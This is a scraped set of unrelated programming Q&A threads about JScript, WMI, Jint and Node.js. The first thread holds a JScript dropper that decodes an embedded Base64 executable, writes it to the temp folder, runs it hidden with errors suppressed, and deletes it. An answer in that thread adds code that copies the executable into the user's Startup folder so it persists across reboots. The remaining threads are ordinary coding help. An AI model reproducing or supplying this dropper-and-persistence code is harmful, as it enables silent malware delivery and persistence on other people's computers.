I am making a JSE file , which will decode the Base64 Encoded .exe file , save it to the tmp folder and execute it. But i need to add the .exe file to startup & run everytime the system restarts. I am a beginner in coding , just made this program with various open source codes.
Can anyone help me how to make this to auto startup ? As of now , everything is working good . When i click on the jse file , it runs in background , from decoding to installing the exe . But when i restart , nothing happens.
var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe
function decodeBase64(a) {
var b = new ActiveXObject("Microsoft.XMLDOM");
var c = b.createElement("tmp");
c.dataType = "bin.base64";
c.text = a;
return c.nodeTypedValue
}
function writeBytes(a, b) {
var c = 1;
var d = new ActiveXObject("ADODB.Stream");
d.Type = c;
d.Open();
d.Write(b);
d.SaveToFile(a)
}
function writeBase64FileInTemp(a, b) {
var c = 2;
var d = new ActiveXObject("Scripting.FileSystemObject");
var e = d.GetSpecialFolder(c) + "\\" + b;
writeBytes(e, decodeBase64(a));
return e
}
function deleteFile(a) {
var b = new ActiveXObject("Scripting.FileSystemObject");
b.DeleteFile(a)
}
var fname = 'abc.exe';
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
oErrCode = oShell.Run(fpath, 0, true);
deleteFile(fpath)
} catch (err) {};
This is working well , but anyone pls help me to make this .exe file run evertime after restart.
simply you can copy your executable file into the startup folder. you need to change your code like this:
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
oErrCode = oShell.Run(fpath, 0, true);
var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
fso.CopyFile (fpath, "C:\\Users\\"+strUserName+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"); # copy the file into the current user startup folder
deleteFile(fpath);
} catch (err) {};
I wrote code below
static void Main(string[] args)
{
var engine = new Engine();
var file = File.ReadAllText(#"...\Desktop\beautify.js");
var final = file + Environment.NewLine + "(function () {return js_beautify('var a = 2;');})();";
var exec = engine.Execute(final);
var r = exec.GetCompletionValue().ToString();
Console.WriteLine(r);
Console.Read();
}
but the Jint show error
Jint.Runtime.JavaScriptException: 'js_beautify is not defined'
Can anyone help me how to register external js libraries like beautify.js and then call functions of them in Jint ?
It should be
var engine = new Engine().Execute("var global = {};").Execute(content);
var js_beautify = engine.Execute("global.js_beautify").GetCompletionValue();
var result = engine.Invoke(js_beautify, "var a = 2;").AsString();
how do we convert following vbscript to javascript?
<script type="text/vbscript">
Function SayHello()
MsgBox "Hello"
HKEY_LOCAL_MACHINE = "&H80000002"
uninstallRegKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
stdRegPro = "winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"
Set objReg=GetObject(stdRegPro)
objReg.EnumKey HKEY_LOCAL_MACHINE, uninstallRegKey, arrSubKeys
MsgBox arrSubKeys
End Function
</script>
Any help appreciated.
Thanks,
Lok.
You can, if you use JScript (Microsoft's implementation of Javascript for Windows) and some information e.g.
Calling WMI Methods with JScript
Troubles with WMI in JScript
(found by googling "jscript wmi").
Evidence:
function showUnInstall() {
var HKEY_LOCAL_MACHINE = 0x80000002;
var uninstallRegKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
var stdRegPro = "winmgmts:{impersonationLevel=impersonate}!//./root/default:StdRegProv";
var objReg = GetObject(stdRegPro);
var mEnumKey = objReg.Methods_.Item("EnumKey");
var ipEnumKey = mEnumKey.InParameters.SpawnInstance_();
ipEnumKey.hDefKey = HKEY_LOCAL_MACHINE;
ipEnumKey.sSubKeyName = uninstallRegKey;
var mGetStringValue = objReg.Methods_.Item("GetStringValue");
var ipGetStringValue = mGetStringValue.InParameters.SpawnInstance_();
ipGetStringValue.hDefKey = HKEY_LOCAL_MACHINE;
ipGetStringValue.sValueName = "DisplayName";
var opEnumKey = objReg.ExecMethod_(mEnumKey.name, ipEnumKey);
if (0 === opEnumKey.ReturnValue) {
var aNames = opEnumKey.sNames.toArray();
for ( var i = 0; i < aNames.length; ++i) {
ipGetStringValue.sSubKeyName = uninstallRegKey + "\\" + aNames[i];
var opGetStringValue = objReg.ExecMethod_(mGetStringValue.name, ipGetStringValue);
if (0 === opGetStringValue.ReturnValue) {
WScript.Echo(opGetStringValue.sValue);
} else {
WScript.Echo("ERROR: GetStringValue.ReturnValue =", opGetStringValue.ReturnValue);
}
}
} else {
WScript.Echo("ERROR: EnumKey.ReturnValue =", opEnumKey.ReturnValue);
}
}
output:
cscript 26907078.js
7-Zip 4.65
ActiveState ActiveTcl 8.5.2.0
ERROR: GetStringValue.ReturnValue = 1
Adobe Flash Player 15 Plugin
ERROR: GetStringValue.ReturnValue = 1
CMake 2.8, a cross-platform, open-source build system
Acrobat.com
...
You can't. Javascript does not have access to the registry.
This is not entirely accurate, I remember. A Node.js webserver running on Windows with NPM tools does have access, but only to that on the server it's running on. however, client-side javascript does not have access to the registry.
Essentially what I need to do is to take a local grader.js file and then use it at the command line to input HTML, which will then output JSON data to the console to validate the existence of several HTML elements. The usage looks something like this:
./grader.js --checks checks.json --file index.html
./grader.js --checks checks.json --url http://google.com
The Node modules being used are Commander (for working at the command line), Cheerio (for HTML), and Restler (for getting HTML from URL).
The checks.json file is straightforward in that it's simply asking to check for the existence of a few simple HTML elements to find out whether or not they exist on the page:
["h1",
".navigation",
".logo",
".blank",
".about",
".heading",
".subheading",
".pitch",
".video",
".thermometer",
".order",
".social",
".section1",
".section2",
".faq",
".footer"]
The grader.js file is where things get a little more complicated. The following code actually works insofar as it takes the command line arguments and does indicate a true or false value as to whether the HTML elements exist. But it doesn't work properly after adding the URL check at the bottom. There is something wrong with my checkURL function and the way that I implement it using the Commander code at the bottom. Even though the true and false values are correct dependent upon the HTML file/URL I use, I end up spitting out both checks to the console even if I only want to check either the file or the URL, not both. I'm fairly new to this so I'm surprised that it works at all. It may have something to do with the default values, but when I try to make those changes the checkURL function seems to break down. Thanks in advance for your help I really do appreciate it.
#!/usr/bin/env node
var fs = require('fs');
var program = require('commander');
var cheerio = require('cheerio');
var rest = require('restler');
var HTMLFILE_DEFAULT = "index.html";
var CHECKSFILE_DEFAULT = "checks.json";
var URL_DEFAULT = "http://cryptic-spire-7925.herokuapp.com/index.html";
var assertFileExists = function(infile) {
var instr = infile.toString();
if(!fs.existsSync(instr)) {
console.log("%s does not exist. Exiting.", instr);
process.exit(1); // http://nodejs.org/api/process.html#process_process_exit_code
}
return instr;
};
var cheerioHtmlFile = function(htmlfile) {
return cheerio.load(fs.readFileSync(htmlfile));
};
var loadChecks = function(checksfile) {
return JSON.parse(fs.readFileSync(checksfile));
};
var checkHtmlFile = function(htmlfile, checksfile) {
$ = cheerioHtmlFile(htmlfile);
var checks = loadChecks(checksfile).sort();
var out = {};
for(var ii in checks) {
var present = $(checks[ii]).length > 0;
out[checks[ii]] = present;
}
return out;
};
var checkUrl = function(url, checksfile) {
rest.get(url).on('complete', function(data) {
$ = cheerio.load(data);
var checks = loadChecks(checksfile).sort();
var out = {};
for(var ii in checks) {
var present = $(checks[ii]).length > 0;
out[checks[ii]] = present;
}
console.log(out);
});
}
var clone = function(fn) {
// Workaround for commander.js issue.
// http://stackoverflow.com/a/6772648
return fn.bind({});
};
if(require.main == module) {
program
.option('-f, --file <html_file>', 'Path to index.html', clone(assertFileExists), HTMLFILE_DEFAULT)
.option('-u, --url <url>', 'URL to index.html', URL_DEFAULT)
.option('-c, --checks <check_file>', 'Path to checks.json', clone(assertFileExists), CHECKSFILE_DEFAULT)
.parse(process.argv);
var checkJson = checkHtmlFile(program.file, program.checks);
var outJson = JSON.stringify(checkJson, null, 4);
console.log(outJson);
var checkJson2 = checkUrl(program.url, program.checks);
var outJson2 = JSON.stringify(checkJson2, null, 4);
console.log(outJson2);
}
else {
exports.checkHtmlFile = checkHtmlFile;
}
Depending on the arguments call either one of checkHtmlFile() or checkUrl()
Something like:
if (program.url)
checkUrl(program.url, program.checks);
else checkHtmlFile(program.file, program.checks);
Read this for more references: commander.js option parsing
Also, checkJson2 is undefined as checkUrl() isn't returning anything.
Those commander .option lines look wrong to me.
Delete the clone function and revise your option lines as follows:
.option('-f, --file <html_file>', 'Path to index.html', HTMLFILE_DEFAULT)
.option('-u, --url <url>', 'URL to index.html', URL_DEFAULT)
.option('-c, --checks <check_file>', 'Path to checks.json', CHECKSFILE_DEFAULT)
This should solve your commander problem.
Here is the updated checkUrl function after the helpful hints from #David and #ankitsabharwal.
var checkUrl = function(url, checksfile) {
rest.get(url).on('complete', function(data) {
$ = cheerio.load(data);
var checks = loadChecks(checksfile).sort();
var out = {};
for(var ii in checks) {
var present = $(checks[ii]).length > 0;
out[checks[ii]] = present;
}
var outJson = JSON.stringify(out, null, 4);
console.log(outJson);
});
}
And here is the updated Commander code below:
if(require.main == module) {
program
.option('-f, --file <html_file>', 'Path to index.html')
.option('-u, --url <url>', 'URL to index.html')
.option('-c, --checks <check_file>', 'Path to checks.json')
.parse(process.argv);
if (program.url) {
checkUrl(program.url, program.checks);
} else {
checkHtmlFile (program.file, program.checks);
var checkJson = checkHtmlFile(program.file, program.checks);
var outJson = JSON.stringify(checkJson, null, 4);
console.log(outJson);
}
}
Here is the code I have so far...
// Run the external encryption process
var fileExe = Components.classes["#mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
fileExe.initWithPath("~/tmp/Encrypt.jar");
var process = Components.classes["#mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(fileExe);
var args = ["java -jar Encrypt.jar -e toEncrypt"];
process.run(true, args, args.length);
document.getElementById('hello-world-status-bar-icon').label = "DONE";
This currently does not work. Any suggestions??
EDIT
I've also tried..
// Run the external encryption process
var fileExe = Components.classes["#mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
fileExe.initWithPath("java");
var process = Components.classes["#mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(fileExe);
var args = new Array();
args[0] = " -jar";
args[1] = "~/tmp/Encrypt.jar";
args[2] = "-e";
args[3] = "toEncrypt";
process.run(true, args, args.length);
document.getElementById('hello-world-status-bar-icon').label = "DONE";
Thanks,
Pat
I think you need to init the process with a reference to the local file that is the "java" executable. That's what needs to be executed at the system level. The arguments need to be passed as an array of individual strings, not a single string.